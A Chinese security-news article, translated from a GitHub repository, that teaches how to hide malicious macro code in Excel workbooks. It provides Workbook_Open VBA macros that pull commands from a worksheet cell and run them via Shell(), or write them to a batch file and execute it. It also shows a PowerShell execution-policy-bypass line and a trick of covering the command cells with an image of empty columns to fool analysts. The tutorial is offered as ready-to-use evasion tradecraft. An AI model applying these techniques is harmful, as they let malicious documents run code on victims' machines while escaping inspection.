如何在Excel中更好地隐藏恶意宏代码 - 嘶吼 RoarTalk – 网络安全行业综合服务平台,4hou.com

如何在Excel中更好地隐藏恶意宏代码

luochicun 资讯 2020-10-04 10:20:00
1157011
收藏

导语:你可能会问,为什么不简单地使用实际上不涉及工作簿的代码,以及主要原因是避免网络流量。

你可能会问,为什么不简单地使用实际上不涉及工作簿的代码,以及主要原因是避免网络流量。当然,你可以简单地添加宏,这些宏会将每行代码添加到一个新文件中,以避免网络流量,但是这样做会使活动对于任何分析文档的人来说都是显而易见的,他们会在查看时立即看到新的代码行宏。使用这种方法,它使得对恶意文档的分析稍微困难一些,但是当然不是很多。

注意:仅对文档运行oledump或olevba之类的工具将返回宏。

此时你会看到,该宏正在从特定列中提取代码并使用Shell()执行该代码,但该代码显然非常可疑:

而且,如果我们导航到代码所在的BG1,我们不会立即看到任何可疑的东西:但是,如果将鼠标悬停在BG1上(或者稍微靠近一下并注意到未对齐的列),那么你会看到在代码上覆盖了一个图像:

显然,更有耐心的人可以完善空列的屏幕截图,并将其覆盖在代码顶部以使其不那么引人注意。揭示从工作表中提取的代码的另一种方法是使用MsgBox:

1. 一组要覆盖在代码顶部的空列的屏幕截图,例如:

2. 从工作簿中提取代码并运行数据的宏:

Private Sub Workbook_Open()
Data = Sheet1.Range("BG1")
Shell(Data)
End Sub

Data = Sheet1.Range("BG1")仅查看位于BG1的行,提取该行中的所有内容并将其放在变量Data中。

3. 打开文档并在用户单击“启用内容”后将提取并执行的代码。

powershell.exe -exec bypass -C echo "Hello world" > C:\Users\Desktop\Conduct\Desktop\test.txt

将代码插入所需的任何列后,只需将空列的图像插入代码上方(插入>插图>图片)。

然后将宏插入ThisWorkbook并更改Range()部分以与你的列匹配。因此,如果你将数据插入A列并且位于第一行,它就是Range("A1")。

将多行写入文件

向文件写入多行只是小菜一碟,只需要添加几行代码即可。

使用的宏代码如下所示:

Private Sub Workbook_Open()
1. Dim Path As String
2. Dim FileNumber As Integer
3. FileNumber = FreeFile
4. Data = Sheet1.Range("BG1")
5. Data2 = Sheet1.Range("BG2")
6. Path = "test.bat"
7. Open Path For Output As FileNumber
8.    Print #FileNumber, Data
9.    Print #FileNumber, Data2
10.    Close FileNumber
11. Shell(Path)
End Sub

第1-3行是静态的,保持原样,它们只是定义使用的变量。第4-6行是动态的。你将需要根据excel工作表将4和5中的字符串更改为代码所在的位置。将第6行更改为所需的文件路径。

第7-9行也是动态的,它们仅打开文件并将已提取的数据写入文件。特别是第8和9行是负责将数据写入文件的行。

只需将要写入文件的代码插入到工作簿中,并记下该文件所在的列和行,并更改Data&Data1变量以与你的列和行匹配(如果需要的话,添加更多的变量)。然后,将工作簿中的代码与空行的屏幕截图叠加,然后开始就可以了!

本文翻译自:https://github.com/1d8/macros如若转载,请注明原文地址:
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论

 
本站4hou.com,所使用的字体和图片文字等素材部分来源于原作者或互联网共享平台。如使用任何字体和图片文字有侵犯其版权所有方的,嘶吼将配合联系原作者核实,并做出删除处理。
©2022 北京嘶吼文化传媒有限公司 京ICP备16063439号-1 本站由 提供云计算服务